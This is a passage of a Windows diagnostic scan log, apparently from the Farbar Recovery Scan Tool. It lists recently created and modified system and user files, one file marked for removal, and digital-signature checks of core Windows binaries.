2019-06-14 01:41 - 2019-06-03 04:05 - 00295424 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\hnetcfg.dll
2019-06-14 01:41 - 2019-06-03 04:04 - 06042624 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Chakra.dll
2019-06-14 01:41 - 2019-06-03 04:04 - 02006528 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DWrite.dll
2019-06-14 01:41 - 2019-06-03 04:04 - 00773120 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SearchIndexer.exe
2019-06-14 01:41 - 2019-06-03 04:03 - 01988096 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mssrch.dll
2019-06-14 01:41 - 2019-06-03 04:03 - 00932864 _____ (Microsoft Corporation) C:\WINDOWS\system32\kerberos.dll
2019-06-14 01:41 - 2019-06-03 04:02 - 02997760 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\win32kfull.sys
2019-06-14 01:41 - 2019-06-03 04:00 - 23677440 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtml.dll
2019-06-14 01:41 - 2019-06-03 03:56 - 13091840 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieframe.dll
2019-06-14 01:41 - 2019-06-03 03:54 - 01217024 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Media.Audio.dll
2019-06-14 01:41 - 2019-06-03 03:53 - 08125440 _____ (Microsoft Corporation) C:\WINDOWS\system32\Chakra.dll
2019-06-14 01:41 - 2019-06-03 03:52 - 03403264 _____ (Microsoft Corporation) C:\WINDOWS\system32\tquery.dll
2019-06-14 01:41 - 2019-06-03 03:51 - 00266752 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupSvc.dll
2019-06-14 01:41 - 2019-06-03 03:50 - 04744704 _____ (Microsoft Corporation) C:\WINDOWS\system32\jscript9.dll
2019-06-14 01:41 - 2019-06-03 03:50 - 02538496 _____ (Microsoft Corporation) C:\WINDOWS\system32\mssrch.dll
2019-06-14 01:41 - 2019-06-03 03:49 - 02691072 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Logon.dll
2019-06-14 01:41 - 2019-06-03 03:49 - 02475520 _____ (Microsoft Corporation) C:\WINDOWS\system32\DWrite.dll
2019-06-14 01:41 - 2019-06-03 03:49 - 01845248 _____ (Microsoft Corporation) C:\WINDOWS\system32\FntCache.dll
2019-06-14 01:41 - 2019-06-03 03:49 - 01513472 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kbase.sys
2019-06-14 01:41 - 2019-06-03 03:49 - 00903680 _____ (Microsoft Corporation) C:\WINDOWS\system32\SearchIndexer.exe
2019-06-14 01:41 - 2019-06-03 03:48 - 01131008 _____ (Microsoft Corporation) C:\WINDOWS\system32\localspl.dll
2019-06-14 01:41 - 2019-06-03 03:48 - 00834048 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32spl.dll
2019-06-14 01:41 - 2019-06-03 03:48 - 00391168 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuuhext.dll
2019-06-14 01:41 - 2019-06-03 03:40 - 00483840 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\CoreMessaging.dll
2019-06-14 01:41 - 2019-05-25 00:56 - 00038752 _____ (Microsoft Corporation) C:\WINDOWS\system32\OOBEUpdater.exe
2019-06-14 01:41 - 2019-03-04 01:22 - 00822784 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Chakradiag.dll
2019-06-14 01:41 - 2019-03-04 01:19 - 00635904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jscript9diag.dll
2019-06-14 01:41 - 2019-03-04 01:16 - 00368128 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\puiobj.dll
2019-06-14 01:41 - 2019-03-04 01:16 - 00100864 _____ (Microsoft Corporation) C:\WINDOWS\system32\wpninprc.dll
2019-06-14 01:41 - 2016-09-06 23:53 - 00118272 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AppointmentActivation.dll
2019-06-14 01:40 - 2019-06-03 05:50 - 00192856 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\aepic.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 01564512 _____ (Microsoft Corporation) C:\WINDOWS\system32\appraiser.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 01214816 _____ (Microsoft Corporation) C:\WINDOWS\system32\aeinv.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 00629088 _____ (Microsoft Corporation) C:\WINDOWS\system32\generaltel.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 00544096 _____ (Microsoft Corporation) C:\WINDOWS\system32\devinv.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 00379232 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\atmfd.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 00335712 _____ (Microsoft Corporation) C:\WINDOWS\system32\dcntel.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 00334176 _____ (Microsoft Corporation) C:\WINDOWS\system32\invagent.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 00233824 _____ (Microsoft Corporation) C:\WINDOWS\system32\aepic.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 00136032 _____ (Microsoft Corporation) C:\WINDOWS\system32\acmigration.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 00136024 _____ (Microsoft Corporation) C:\WINDOWS\system32\ImplatSetup.dll
2019-06-14 01:40 - 2019-06-03 05:14 - 00096608 _____ (Microsoft Corporation) C:\WINDOWS\system32\CompatTelRunner.exe
2019-06-14 01:40 - 2019-06-03 05:14 - 00034648 _____ (Microsoft Corporation) C:\WINDOWS\system32\DeviceCensus.exe
2019-06-14 01:40 - 2019-06-03 05:11 - 00128864 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\tm.sys
2019-06-14 01:40 - 2019-06-03 04:59 - 00764392 _____ (Microsoft Corporation) C:\WINDOWS\system32\CoreMessaging.dll
2019-06-14 01:40 - 2019-06-03 04:53 - 00404824 _____ (Microsoft Corporation) C:\WINDOWS\system32\msv1_0.dll
2019-06-14 01:40 - 2019-06-03 04:49 - 00624048 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\cng.sys
2019-06-14 01:40 - 2019-06-03 04:49 - 00509280 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\storport.sys
2019-06-14 01:40 - 2019-06-03 04:48 - 01112416 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppxPackaging.dll
2019-06-14 01:40 - 2019-06-03 04:48 - 01100128 _____ (Microsoft Corporation) C:\WINDOWS\system32\hvix64.exe
2019-06-14 01:40 - 2019-06-03 04:48 - 00989024 _____ (Microsoft Corporation) C:\WINDOWS\system32\hvax64.exe
2019-06-14 01:40 - 2019-06-03 04:44 - 01600624 _____ (Microsoft Corporation) C:\WINDOWS\system32\sppobjs.dll
2019-06-14 01:40 - 2019-06-03 04:40 - 01566552 _____ (Microsoft Corporation) C:\WINDOWS\system32\gdi32full.dll
2019-06-14 01:40 - 2019-06-03 04:40 - 00628552 _____ (Microsoft Corporation) C:\WINDOWS\system32\fontdrvhost.exe
2019-06-14 01:40 - 2019-06-03 04:39 - 00455520 _____ (Microsoft Corporation) C:\WINDOWS\system32\securekernel.exe
2019-06-14 01:40 - 2019-06-03 04:22 - 07217152 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Data.Pdf.dll
2019-06-14 01:40 - 2019-06-03 04:16 - 00002560 _____ (Microsoft Corporation) C:\WINDOWS\system32\tzres.dll
2019-06-14 01:40 - 2019-06-03 04:14 - 00045056 _____ (Adobe Systems) C:\WINDOWS\system32\atmlib.dll
2019-06-14 01:40 - 2019-06-03 04:11 - 00353792 _____ (Microsoft Corporation) C:\WINDOWS\system32\cloudAP.dll
2019-06-14 01:40 - 2019-06-03 04:10 - 00252928 _____ (Microsoft Corporation) C:\WINDOWS\system32\edputil.dll
2019-06-14 01:40 - 2019-06-03 04:10 - 00117760 _____ (Microsoft Corporation) C:\WINDOWS\system32\AuthBrokerUI.dll
2019-06-14 01:40 - 2019-06-03 04:09 - 00489472 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupShim.dll
2019-06-14 01:40 - 2019-06-03 04:09 - 00337408 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetworkBindingEngineMigPlugin.dll
2019-06-14 01:40 - 2019-06-03 04:08 - 00324608 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.ApplicationModel.LockScreen.dll
2019-06-14 01:40 - 2019-06-03 04:08 - 00147456 _____ (Microsoft Corporation) C:\WINDOWS\system32\winsrv.dll
2019-06-14 01:40 - 2019-06-03 04:07 - 00255488 _____ (Microsoft Corporation) C:\WINDOWS\system32\HNetCfgClient.dll
2019-06-14 01:40 - 2019-06-03 04:06 - 00198144 _____ (Microsoft Corporation) C:\WINDOWS\system32\dpapisrv.dll
2019-06-14 01:40 - 2019-06-03 04:01 - 00856064 _____ (Microsoft Corporation) C:\WINDOWS\system32\efscore.dll
2019-06-14 01:40 - 2019-06-03 03:58 - 00064512 _____ (Microsoft Corporation) C:\WINDOWS\system32\fdProxy.dll
2019-06-14 01:40 - 2019-06-03 03:52 - 02510848 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetworkMobileSettings.dll
2019-06-14 01:40 - 2019-06-03 03:52 - 00975872 _____ (Microsoft Corporation) C:\WINDOWS\HelpPane.exe
2019-06-14 01:40 - 2019-06-03 03:52 - 00886784 _____ (Microsoft Corporation) C:\WINDOWS\system32\CPFilters.dll
2019-06-14 01:40 - 2019-06-03 03:51 - 01418240 _____ (Microsoft Corporation) C:\WINDOWS\system32\certutil.exe
2019-06-14 01:40 - 2019-06-03 03:49 - 03615744 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kfull.sys
2019-06-14 01:40 - 2019-06-03 03:49 - 02318848 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuaueng.dll
2019-06-14 01:40 - 2019-06-03 03:49 - 00351744 _____ (Microsoft Corporation) C:\WINDOWS\system32\hnetcfg.dll
2019-06-14 01:40 - 2019-06-03 03:48 - 01490432 _____ (Microsoft Corporation) C:\WINDOWS\system32\lsasrv.dll
2019-06-14 01:40 - 2019-06-03 03:46 - 01121280 _____ (Microsoft Corporation) C:\WINDOWS\system32\aadtb.dll
2019-06-14 01:40 - 2019-06-03 01:08 - 00080078 _____ C:\WINDOWS\system32\normidna.nls
2019-06-12 11:32 - 2019-06-12 11:32 - 00003220 _____ C:\WINDOWS\System32\Tasks\{97702F25-3ACA-4307-ACDB-E085685D832D}
2019-06-08 13:19 - 2019-06-08 13:19 - 00000000 ____D C:\Users\Pacman\AppData\Local\BANDAI NAMCO Entertainment
2019-06-08 13:19 - 2019-06-08 13:19 - 00000000 ____D C:\Users\Public\Documents\Steam
2019-06-08 13:16 - 2010-06-02 04:55 - 00527192 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\XAudio2_7.dll
2019-06-08 13:16 - 2010-06-02 04:55 - 00518488 _____ (Microsoft Corporation) C:\WINDOWS\system32\XAudio2_7.dll
2019-06-08 13:16 - 2010-06-02 04:55 - 00239960 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\xactengine3_7.dll
2019-06-08 13:16 - 2010-06-02 04:55 - 00176984 _____ (Microsoft Corporation) C:\WINDOWS\system32\xactengine3_7.dll
2019-06-08 13:16 - 2010-06-02 04:55 - 00077656 _____ (Microsoft Corporation) C:\WINDOWS\system32\XAPOFX1_5.dll
2019-06-08 13:16 - 2010-06-02 04:55 - 00074072 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\XAPOFX1_5.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 02526056 _____ (Microsoft Corporation) C:\WINDOWS\system32\D3DCompiler_43.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 02401112 _____ (Microsoft Corporation) C:\WINDOWS\system32\D3DX9_43.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 02106216 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\D3DCompiler_43.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 01998168 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\D3DX9_43.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 01907552 _____ (Microsoft Corporation) C:\WINDOWS\system32\d3dcsx_43.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 01868128 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d3dcsx_43.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 00511328 _____ (Microsoft Corporation) C:\WINDOWS\system32\d3dx10_43.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 00470880 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d3dx10_43.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 00276832 _____ (Microsoft Corporation) C:\WINDOWS\system32\d3dx11_43.dll
2019-06-08 13:16 - 2010-05-26 11:41 - 00248672 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d3dx11_43.dll
2019-06-08 13:15 - 2005-03-18 17:19 - 02337488 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d3dx9_25.dll
2019-05-29 19:23 - 1998-05-28 14:42 - 00111552 ____R (Microsoft Corporation) C:\WINDOWS\SysWOW64\WPWIZDLL.DLL
2019-05-29 19:23 - 1998-05-27 16:37 - 00050816 ____R (Microsoft Corporation) C:\WINDOWS\SysWOW64\PIPARSE.DLL
2019-05-29 19:23 - 1998-05-22 10:08 - 00145360 ____R (Microsoft Corporation) C:\WINDOWS\SysWOW64\WEBPOST.DLL
2019-05-29 19:23 - 1998-05-22 10:08 - 00121472 ____R (Microsoft Corporation) C:\WINDOWS\SysWOW64\CRSWPP.DLL
2019-05-29 19:23 - 1998-05-22 10:08 - 00099008 ____R (Microsoft Corporation) C:\WINDOWS\SysWOW64\POSTWPP.DLL
2019-05-29 19:23 - 1998-05-22 10:08 - 00098960 ____R (Microsoft Corporation) C:\WINDOWS\SysWOW64\FTPWPP.DLL
2019-05-29 19:23 - 1998-05-22 10:07 - 00093456 ____R (Microsoft Corporation) C:\WINDOWS\SysWOW64\FPWPP.DLL
2019-05-29 19:16 - 2019-05-29 19:16 - 00003314 _____ C:\WINDOWS\System32\Tasks\{01CFEC56-E555-47A7-A90C-2B8B61A5F278}
2019-05-29 18:43 - 2019-05-29 19:23 - 00001273 _____ C:\WINDOWS\VB.INI
2019-05-29 18:43 - 2019-05-29 19:23 - 00000535 _____ C:\WINDOWS\ODBCINST.INI
2019-05-29 18:43 - 2019-05-29 19:23 - 00000288 _____ C:\WINDOWS\ODBC.INI
2019-05-29 18:43 - 2019-05-29 19:23 - 00000000 ____D C:\Program Files (x86)\Publicación en Web
2019-05-29 18:43 - 2019-05-29 18:43 - 00000000 ____D C:\WINDOWS\msapps
2019-05-29 18:43 - 2019-05-29 18:43 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Visual Basic 6.0
2019-05-28 21:23 - 2019-05-28 21:23 - 00000000 ____D C:\Users\julio\AppData\Local\UNP

==================== One Month Modified files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2019-06-25 09:12 - 2016-07-21 19:54 - 00000000 ___RD C:\Users\Pacman\OneDrive
2019-06-25 09:12 - 2016-07-21 19:43 - 00000000 __SHD C:\Users\Pacman\IntelGraphicsProfiles
2019-06-25 09:11 - 2016-09-24 14:31 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT
2019-06-25 09:10 - 2016-09-24 08:01 - 00786432 _____ C:\WINDOWS\system32\config\BBI
2019-06-25 08:09 - 2016-09-24 08:17 - 00000000 ____D C:\WINDOWS\AppReadiness
2019-06-25 08:06 - 2016-09-24 14:39 - 00000000 ____D C:\Users\Pacman
2019-06-25 08:05 - 2016-10-07 22:23 - 00004198 _____ C:\WINDOWS\System32\Tasks\User_Feed_Synchronization-{B7B492FC-EAB2-49E1-A149-091CAAD8FF88}
2019-06-24 23:47 - 2016-07-21 20:10 - 00000000 __SHD C:\Users\julio\IntelGraphicsProfiles
2019-06-24 18:51 - 2019-04-09 18:20 - 00000000 ____D C:\Users\Pacman\AppData\Roaming\.minecraft
2019-06-24 10:02 - 2016-09-24 14:30 - 00000000 ____D C:\WINDOWS\system32\SleepStudy
2019-06-23 21:34 - 2016-09-24 08:17 - 00000000 ___HD C:\Program Files\WindowsApps
2019-06-23 21:28 - 2016-09-25 22:50 - 00002395 _____ C:\Users\julio\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2019-06-23 21:28 - 2016-07-21 20:14 - 00000000 ___RD C:\Users\julio\OneDrive
2019-06-22 18:51 - 2016-12-15 16:59 - 00003270 _____ C:\WINDOWS\System32\Tasks\OneDrive Standalone Update Task v2
2019-06-22 18:51 - 2016-09-24 14:54 - 00002395 _____ C:\Users\Pacman\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2019-06-22 11:35 - 2016-09-24 08:17 - 00000000 ____D C:\WINDOWS\LiveKernelReports
2019-06-22 11:35 - 2016-09-24 08:15 - 00000000 ____D C:\WINDOWS\INF
2019-06-21 14:11 - 2016-09-24 15:01 - 00002270 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2019-06-18 21:55 - 2016-09-28 20:08 - 00000000 ____D C:\WINDOWS\AutoKMS
2019-06-18 21:26 - 2014-06-29 23:50 - 00000000 ____D C:\Users\Pacman\AppData\LocalLow\Hotspot_Shield
2019-06-17 14:10 - 2016-09-24 14:47 - 03649168 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2019-06-17 14:10 - 2016-09-24 08:22 - 01779992 _____ C:\WINDOWS\system32\perfh00A.dat
2019-06-17 14:10 - 2016-09-24 08:22 - 00451954 _____ C:\WINDOWS\system32\perfc00A.dat
2019-06-17 09:38 - 2016-04-27 01:14 - 00000000 __RHD C:\Users\Public\AccountPictures
2019-06-17 07:39 - 2016-09-24 08:17 - 00000000 ____D C:\WINDOWS\rescache
2019-06-17 04:24 - 2019-05-02 14:57 - 00000000 ____D C:\Program Files\UNP
2019-06-17 04:24 - 2016-09-24 14:49 - 00000000 ____D C:\Users\Pacman\AppData\Local\Packages
2019-06-17 04:20 - 2016-09-24 08:17 - 00000000 ____D C:\WINDOWS\Help
2019-06-17 04:19 - 2016-09-24 08:17 - 00000000 ___SD C:\WINDOWS\Downloaded Program Files
2019-06-17 04:15 - 2016-09-24 14:53 - 00000000 ____D C:\Users\Pacman\AppData\Local\Comms
2019-06-17 04:09 - 2016-10-22 23:55 - 00000000 ____D C:\ProgramData\Skype
2019-06-17 04:07 - 2016-11-15 23:25 - 00000000 ____D C:\Users\Pacman\AppData\Roaming\Splitscreen Studios
2019-06-17 03:59 - 2016-12-18 00:45 - 00000000 ____D C:\Users\Pacman\AppData\Local\TeamSpeak 3 Client
2019-06-17 03:58 - 2019-01-22 20:16 - 00000000 ____D C:\Program Files (x86)\Steam
2019-06-17 03:41 - 2019-03-09 22:33 - 00000000 ____D C:\Users\Pacman\AppData\Roaming\DAEMON Tools Pro
2019-06-17 03:40 - 2016-09-24 08:27 - 00000000 ____D C:\Windows.old
2019-06-17 02:53 - 2016-12-20 20:03 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java
2019-06-17 02:49 - 2016-09-24 08:17 - 00000000 ____D C:\WINDOWS\SysWOW64\Macromed
2019-06-17 02:49 - 2016-09-24 08:17 - 00000000 ____D C:\WINDOWS\system32\Macromed
2019-06-17 02:48 - 2016-09-24 08:28 - 00000000 ___DC C:\WINDOWS\Panther
2019-06-17 02:47 - 2019-05-13 10:42 - 00000000 ____D C:\WINDOWS\Minidump
2019-06-17 02:36 - 2016-09-24 14:56 - 00000000 ____D C:\Users\Pacman\AppData\Roaming\Skype
2019-06-14 16:03 - 2016-09-28 20:01 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2013
2019-06-14 12:00 - 2016-09-24 14:30 - 00367304 _____ C:\WINDOWS\system32\FNTCACHE.DAT
2019-06-14 11:59 - 2016-09-24 08:17 - 00000000 ____D C:\WINDOWS\system32\appraiser
2019-06-14 11:58 - 2016-09-24 08:17 - 00000000 ___RD C:\WINDOWS\ImmersiveControlPanel
2019-06-14 11:58 - 2016-09-24 08:17 - 00000000 ____D C:\WINDOWS\ShellExperiences
2019-06-14 02:34 - 2016-09-24 17:13 - 00000000 ____D C:\WINDOWS\system32\MRT
2019-06-14 02:29 - 2016-09-24 17:13 - 133627792 ____C (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe
2019-06-14 02:29 - 2016-09-24 08:06 - 00000000 ____D C:\WINDOWS\CbsTemp
2019-06-14 01:46 - 2016-09-24 08:17 - 00000167 _____ C:\WINDOWS\win.ini
2019-06-08 13:18 - 2019-04-20 00:41 - 00000000 ____D C:\ProgramData\Package Cache
2019-06-03 01:36 - 2016-09-24 08:19 - 00835576 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerApp.exe
2019-06-03 01:36 - 2016-09-24 08:19 - 00177656 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerCPLApp.cpl
2019-06-01 17:26 - 2016-12-17 16:19 - 00001761 _____ C:\Users\Pacman\Desktop\League of Legends.lnk
2019-05-31 14:39 - 2016-09-24 17:20 - 00565416 ____N (Microsoft Corporation) C:\WINDOWS\system32\MpSigStub.exe
2019-05-28 21:23 - 2016-09-25 22:47 - 00000000 ____D C:\Users\julio\AppData\Local\Packages

==================== Files in the root of some directories =======

2019-01-24 01:01 - 2019-02-27 15:37 - 0000287 _____ () C:\Users\Pacman\AppData\Roaming\WB.CFG
2016-12-28 01:56 - 2016-10-29 01:56 - 0000032 ____R () C:\ProgramData\hash.dat

Files to move or delete:
====================
C:\ProgramData\hash.dat


Some files in TEMP:
====================
2019-06-20 16:26 - 2016-07-16 06:42 - 0844800 _____ (Microsoft Corporation) C:\Users\Pacman\AppData\Local\Temp\cdo3319113350.dll

==================== Bamital & volsnap ======================

(There is no automatic fix for files that do not pass verification.)

C:\WINDOWS\system32\winlogon.exe => File is digitally signed
C:\WINDOWS\system32\wininit.exe => File is digitally signed
C:\WINDOWS\explorer.exe => File is digitally signed
C:\WINDOWS\SysWOW64\explorer.exe => File is digitally signed
C:\WINDOWS\system32\svchost.exe => File is digitally signed
C:\WINDOWS\SysWOW64\svchost.exe => File is digitally signed
C:\WINDOWS\system32\services.exe => File is digitally signed
C:\WINDOWS\system32\User32.dll => File is digitally signed
C:\WINDOWS\SysWOW64\User32.dll => File is digitally signed
C:\WINDOWS\system32\userinit.exe => File is digitally signed
C:\WINDOWS\SysWOW64\userinit.exe => File is digitally signed
C:\WINDOWS\system32\rpcss.dll => File is digitally signed
C:\WINDOWS\system32\dnsapi.dll => File is digitally signed
C:\WINDOWS\SysWOW64\dnsapi.dll => File is digitally signed
C:\WINDOWS\system32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2019-06-11 12:18

==================== End of FRST.txt ============================